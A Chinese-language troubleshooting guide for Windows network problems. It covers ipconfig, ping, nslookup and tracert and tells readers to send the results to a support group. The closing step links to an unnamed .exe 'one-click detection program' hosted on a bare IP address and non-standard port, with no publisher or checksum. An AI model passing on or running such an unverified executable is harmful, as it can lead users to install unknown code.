windows电脑上网异常的排查

遇到电脑上网异常，先检查电脑终端是否开加速器、VPN、代理；IPv6是否关闭；DNS配置是否正确；终端协商速率是否正常；无线接入的还需要排查无线覆盖信号强度和稳定性，有条件的尽量改成有线接入。

除此之外，通常可以使用ipconfig、ping、nslookup、tracert这四个命令来进行定位。首先进入命令提示符界面：开始—运行—在弹出的界面输入cmd,确认即可进入。

1. ipconfig命令用法：在命令提示符界面输入ipconfig/all命令。

ipconfig实用程序可用于显示当前的TCP/IP配置的设置值。这些信息一般用来检验人工配置的TCP/IP设置是否正确，主要看获取地址、网关、DNS服务器是否正确。

1. ping命令用法：

在命令提示符界面分别输入ping 192.168.1.1和ping www.baidu.com。（注意ping后面要有个空格。）

ping是个使用频率极高的实用程序，主要用于确定网络的连通性。如果ping运行正确，大体上就可以排除网络访问层、网卡、Modem的输入输出线路、电缆和路由器等存在的故障，从而缩小问题的范围。ping能够以毫秒为单位显示发送请求到返回应答之间的时间量。如果应答时间短，表示数据报不必通过太多的路由器或网络，连接速度比较快。

3. nslookup命令用法：在命令提示符界面输入nslookup www.baidu.com

命令nslookup的功能是查询解析任何一台机器的IP地址和其对应的域名。

4. tracet命令用法：在命令提示符界面输入tracert www.baidu.com

tracert命令用来显示数据包到达目的主机所经过的路径,还可以用来查看网络在连接站点时经过的步骤或采取哪种路线，如果是网络出现故障，就可以通过这条命令查看出现问题的位置。

1. 若以上命令未定位出故障点，将以下五个命令的排查图发给支撑群定位。

ipconfig/all

ping www.baidu.com

ping 192.168.1.1

nslookup www.baidu.com

tracert www.baidu.com

1. 也可下载一键检测程序使用上述命令一次性检测。下载址址：

https://117.72.78.13:33383/down/6STh76Ssfbd6.exe

或手机扫描二维码下载后传至电脑。